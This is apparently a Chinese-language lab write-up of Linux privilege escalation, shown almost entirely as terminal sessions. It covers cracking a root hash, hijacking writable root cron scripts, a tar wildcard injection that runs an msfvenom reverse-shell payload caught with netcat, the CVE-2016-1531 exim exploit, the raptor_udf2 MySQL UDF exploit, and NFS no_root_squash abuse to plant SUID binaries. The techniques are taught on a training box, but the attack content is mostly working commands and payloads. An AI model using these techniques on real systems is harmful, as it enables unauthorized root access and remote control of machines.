kali@kali [~] ➜ cat x [22:09:52] root:ga1RMqso6xFeE:17298:0:99999:7::: kali@kali [~] ➜ john --format=crypt -w=/usr/share/wordlists/rockyou.txt x [22:10:45] Using default input encoding: UTF-8 Loaded 1 password hash (crypt, generic crypt(3) [?/64]) Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 1 for all loaded hashes Cost 2 (algorithm specific iterations) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 123 (root) 1g 0:00:00:00 DONE (2025-01-18 22:10) 50.00g/s 201600p/s 201600c/s 201600C/s buffy..pokpok Use the "--show" option to display all of the cracked passwords reliably Session completed.
登录即可
1 2 3 4
user@debian:~$ su root Password: root@debian:/home/user# id uid=0(root) gid=0(root) groups=0(root)
可写/etc/shadow文件提取
1 2
user@debian:~$ ls -la /etc/shadow -rw-r--rw- 1 root shadow 752 Jan 18 08:30 /etc/shadow
root@debian:/home/user# sudo -l Matching Defaults entries for root on this host: env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User root may run the following commands on this host: (ALL) ALL root@debian:/home/user# exit exit user@debian:~$ sudo -l Matching Defaults entries for user on this host: env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host: (root) NOPASSWD: /usr/sbin/iftop (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/nano (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/man (root) NOPASSWD: /usr/bin/awk (root) NOPASSWD: /usr/bin/less (root) NOPASSWD: /usr/bin/ftp (root) NOPASSWD: /usr/bin/nmap (root) NOPASSWD: /usr/sbin/apache2 (root) NOPASSWD: /bin/more
user@debian:~$ sudo -l Matching Defaults entries for user on this host: env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH User user may run the following commands on this host: (root) NOPASSWD: /usr/sbin/iftop (root) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/nano (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/man (root) NOPASSWD: /usr/bin/awk (root) NOPASSWD: /usr/bin/less (root) NOPASSWD: /usr/bin/ftp (root) NOPASSWD: /usr/bin/nmap (root) NOPASSWD: /usr/sbin/apache2 (root) NOPASSWD: /bin/more
user@debian:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
SHELL=/bin/sh PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # * * * * * root overwrite.sh * * * * * root /usr/local/bin/compress.sh
两个文件均以root权限执行且每分钟执行一次
1 2 3 4 5 6 7 8 9 10 11 12
ser@debian:~$ locate overwrite.sh locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 1709.2 days) /usr/local/bin/overwrite.sh user@debian:~$ ls -la /usr/local/bin/ total 44 drwxrwsr-x 2 root staff 4096 May 14 2017 . drwxrwsr-x 10 root staff 4096 May 13 2017 .. -rwxr--r-- 1 root staff 53 May 13 2017 compress.sh -rwxr--rw- 1 root staff 40 May 13 2017 overwrite.sh -rwsr-sr-x 1 root staff 6883 May 14 2017 suid-env -rwsr-sr-x 1 root staff 6899 May 14 2017 suid-env2 -rwsr-sr-x 1 root staff 9861 May 14 2017 suid-so
第二个有权限写入，那就直接改写劫持，也可以反弹shell
1 2 3 4 5 6 7 8 9
user@debian:~$ echo "cp /bin/bash /tmp/sh;chmod +xs /tmp/sh" >/usr/local/bin/overwrite.sh user@debian:/tmp$ ls backup.tar.gz libpcap.so.0.8 preload.so sh useless user@debian:/tmp$ ./sh sh-4.1# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user) sh-4.1# whoami root sh-4.1#
计划任务-环境变量提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
SHELL=/bin/sh PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # * * * * * root overwrite.sh * * * * * root /usr/local/bin/compress.sh
user@debian:~$ ls -la total 60 drwxr-xr-x 5 user user 4096 Jan 18 11:12 . drwxr-xr-x 3 root root 4096 May 15 2017 .. -rw------- 1 user user 2725 Jan 18 11:32 .bash_history -rw-r--r-- 1 user user 220 May 12 2017 .bash_logout -rw-r--r-- 1 user user 3235 May 14 2017 .bashrc drwxr-xr-x 2 user user 4096 May 13 2017 .irssi drwx------ 2 user user 4096 May 15 2020 .john -rw------- 1 user user 137 May 15 2017 .lesshst -rw-r--r-- 1 user user 212 May 15 2017 myvpn.ovpn -rw------- 1 user user 11 Jan 18 10:53 .nano_history -rwxr-xr-x 1 user user 64 Jan 18 10:53 overwrite.sh -rw-r--r-- 1 user user 725 May 13 2017 .profile drwxr-xr-x 8 user user 4096 May 15 2020 tools -rw------- 1 user user 6334 May 15 2020 .viminfo user@debian:~$ cat myvpn.ovpn client dev tun proto udp remote 10.10.10.10 1194 resolv-retry infinite nobind persist-key persist-tun ca ca.crt tls-client remote-cert-tls server auth-user-pass /etc/openvpn/auth.txt comp-lzo verb 1 reneg-sec 0
user@debian:~$ nano id user@debian:~$ chmod 600 id user@debian:~$ ssh -o HostkeyAlgorithms=ssh-rsa root@10.10.120.121 -i id The authenticity of host '10.10.120.121 (10.10.120.121)' can't be established. RSA key fingerprint is 08:84:3e:96:4d:9a:2f:a1:db:be:68:29:80:ab:f3:56. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.120.121' (RSA) to the list of known hosts. Linux debian 2.6.32-5-amd64 #1 SMP Tue May 13 16:34:35 UTC 2014 x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 25 14:02:49 2019 from 192.168.1.2 root@debian:~# id uid=0(root) gid=0(root) groups=0(root) root@debian:~#
定时任务-通配符绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
user@debian:~$ cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do.
SHELL=/bin/sh PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) # * * * * * root overwrite.sh * * * * * root /usr/local/bin/compress.sh
我们去看看第二个定时任务是干啥的
1 2 3 4
user@debian:~$ cat /usr/local/bin/compress.sh #!/bin/sh cd /home/user tar czf /tmp/backup.tar.gz *
root@ip-10-10-19-249:~/Tools# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.19.249 LPORT=4444 -f elf -o shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes Saved as: shell.elf
user@debian:~$ ls myvpn.ovpn shell.elf tools user@debian:~$ chmod +x /home/user/shell.elf user@debian:~$ ls myvpn.ovpn shell.elf tools user@debian:~$ touch /home/user/--checkpoint=1 user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf user@debian:~$ ls --checkpoint=1 myvpn.ovpn tools --checkpoint-action=exec=shell.elf shell.elf
这两个文件就是按照tar执行命令的参数构造的，这样tar就以为这是它的参数，从而反弹shell
1 2 3 4 5
root@ip-10-10-19-249:~/Tools# nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on 10.10.150.39 34311 id uid=0(root) gid=0(root) groups=0(root)
user@debian:~$ cat tools/suid/exim/cve-2016-1531.sh #!/bin/sh # CVE-2016-1531 exim <= 4.84-3 local root exploit # =============================================== # you can write files as root or force a perl module to # load by manipulating the perl environment and running # exim with the "perl_startup" arguement -ps. # # e.g. # [fantastic@localhost tmp]$ ./cve-2016-1531.sh # [ CVE-2016-1531 local root exploit # sh-4.3# id # uid=0(root) gid=1000(fantastic) groups=1000(fantastic) # # -- Hacker Fantastic echo [ CVE-2016-1531 local root exploit cat > /tmp/root.pm << EOF package root; use strict; use warnings;
user@debian:~$ strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libdl.so.2", O_RDONLY) = 3 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libm.so.6", O_RDONLY) = 3 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libgcc_s.so.1", O_RDONLY) = 3 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/libc.so.6", O_RDONLY) = 3 open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) user@debian:~$
user@debian:~/tools/privesc-scripts$ /bin/bash --version GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu) Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
cat 1518.c [20:54:24] /* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] * * E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys * */
typedefstructst_udf_args { unsignedint arg_count; // number of arguments enumItem_result *arg_type;// pointer to item_result char **args; // pointer to arguments unsignedlong *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS;
typedefstructst_udf_init { char maybe_null; // 1 if func can return NULL unsignedint decimals; // for real functions unsignedlong max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT;
user@debian:~/tools/mysql-udf$ mysql -uroot -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 35 Server version: 5.1.73-1+deb6u1 (Debian)
Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show variables like "%secure_file_priv%"; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+ 1 row in set (0.00 sec)
use mysql; create table foo(line blob); insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); //这里的路劲与所给的POC有所不同，我们可以查询一下，以自己查询的为准 select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';
1 2 3 4 5 6 7 8
//查询 mysql> show variables like '%plugin%'; +---------------+-----------------------+ | Variable_name | Value | +---------------+-----------------------+ | plugin_dir | /usr/lib/mysql/plugin | +---------------+-----------------------+ 1 row in set (0.00 sec)
user@debian:~/tools$ cat /etc/exports # /etc/exports: the access control list for filesystems which may be exported # to NFS clients. See exports(5). # # Example for NFSv2 and NFSv3: # /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check) # # Example for NFSv4: # /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check) # /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check) # /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check) #/tmp *(rw,sync,insecure,no_subtree_check)
root@ip-10-10-181-21:~# mkdir /tmp/nfs root@ip-10-10-181-21:~# mount -o rw,vers=3 10.10.241.224:/tmp /tmp/nfs root@ip-10-10-181-21:~# cd /tmp/nfs/ root@ip-10-10-181-21:/tmp/nfs# ls backup.tar.gz rootbash useless root@ip-10-10-181-21:/tmp/nfs#
此时目标机器的/tmp文件夹已经被我们共享
1 2 3 4 5 6 7 8 9 10 11
root@ip-10-10-181-21:/tmp/nfs# msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 48 bytes Final size of elf file: 132 bytes Saved as: /tmp/nfs/shell.elf root@ip-10-10-181-21:/tmp/nfs# ls backup.tar.gz rootbash shell.elf useless root@ip-10-10-181-21:/tmp/nfs# chmod +xs /tmp/nfs/shell.elf root@ip-10-10-181-21:/tmp/nfs#
生成命令文件，并赋予s与x权限，然后在目标机器上查看权限
1 2 3 4 5 6 7 8 9
user@debian:~/tools$ cd /tmp/ user@debian:/tmp$ ls -la total 1180 drwxrwxrwt 2 root root 4096 Jan 19 09:30 . drwxr-xr-x 22 root root 4096 Aug 25 2019 .. -rw-r--r-- 1 root root 251830 Jan 19 09:30 backup.tar.gz -rwsr-s--x 1 root root 926536 Jan 19 08:15 rootbash -rwsr-sr-x 1 root root 132 Jan 19 09:30 shell.elf -rw-r--r-- 1 root root 29 Jan 19 09:30 useless
